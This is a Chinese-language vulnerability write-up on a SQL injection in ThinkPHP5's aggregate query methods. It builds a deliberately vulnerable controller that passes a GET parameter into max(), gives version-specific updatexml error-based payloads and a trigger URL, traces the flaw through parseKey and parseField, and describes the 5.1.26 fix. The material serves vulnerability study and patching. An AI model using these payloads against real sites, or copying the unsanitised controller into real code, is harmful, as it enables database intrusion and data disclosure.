ThinkPHP5漏洞分析之SQL注入(六)
字数 1242 2025-08-18 11:38:45
ThinkPHP5 SQL注入漏洞分析(聚合函数相关方法)
漏洞概述
本漏洞存在于ThinkPHP5框架中所有Mysql聚合函数相关方法,由于程序未对用户输入数据进行有效过滤,直接将数据拼接进SQL语句,导致SQL注入漏洞的产生。
影响版本
- 5.0.0 ≤ ThinkPHP ≤ 5.0.21
- 5.1.3 ≤ ThinkPHP5 ≤ 5.1.25
漏洞环境搭建
环境准备
- 创建测试项目:
composer create-project --prefer-dist topthink/think=5.1.25 tpdemo
- 修改
composer.json:
"require": {
"php": ">=5.6.0",
"topthink/framework": "5.1.25"
}
- 执行更新:
composer update
- 创建控制器文件
application/index/controller/Index.php:
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$options = request()->get('options');
$result = db('users')->max($options);
var_dump($result);
}
}
-
配置数据库信息(
config/database.php)并开启调试模式(config/app.php中设置app_debug和app_trace为true) -
创建测试数据库:
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');
漏洞利用
不同版本的Payload
- 5.0.0~5.0.21、5.1.3~5.1.10:
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
- 5.1.11~5.1.25:
id )%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
触发漏洞
访问以下URL(注意:需要开启app_debug才能看到SQL报错信息):
http://localhost:8000/index/index/index?options=id )%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
漏洞分析
漏洞触发流程
- 用户可控数据通过
request()->get('options')获取 - 数据传入
max()聚合方法 - 调用链:
max()→aggregate()→Mysql::aggregate() - 用户输入经过
parseKey()处理后直接拼接到SQL语句中
关键代码分析
-
aggregate方法:- 位于
thinkphp/library/think/db/Query.php - 调用Mysql类的aggregate方法进行聚合查询
- 位于
-
parseKey方法:- 仅对字段和表名两端添加反引号
- 未对内容进行安全过滤
-
Builder::select方法:- 使用
str_replace将变量替换到SQL模板中 - 调用
parseField方法处理字段
- 使用
-
parseField方法:- 用户可控数据存储在
$options['field'] - 仅经过
parseKey处理(添加反引号) - 直接拼接进SQL语句
- 用户可控数据存储在
漏洞修复
官方在5.1.26版本中修复了此漏洞,修复方法:
- 当匹配到除了字母、点号、星号以外的字符时,抛出异常
- 增加了对特殊字符的检测
攻击流程图
用户输入 → max()方法 → aggregate() → Mysql::aggregate() → parseKey() → Builder::select() → parseField() → SQL注入
总结
- 漏洞根源:用户输入未经过滤直接拼接到SQL语句
- 影响范围:所有Mysql聚合函数相关方法(max, min, avg, sum等)
- 修复建议:升级到5.1.26及以上版本
- 防御措施:对所有用户输入进行严格过滤和转义
扩展知识
- 聚合函数:SQL中用于对一组值执行计算并返回单一值的函数
- updatexml函数:MySQL XML处理函数,常用于报错注入
- 反引号(`):MySQL中用于标识符(如表名、字段名)的引用符号
参考
- ThinkPHP官方更新日志
- ThinkPHP-Vuln项目
- MySQL官方文档关于聚合函数和XML函数的部分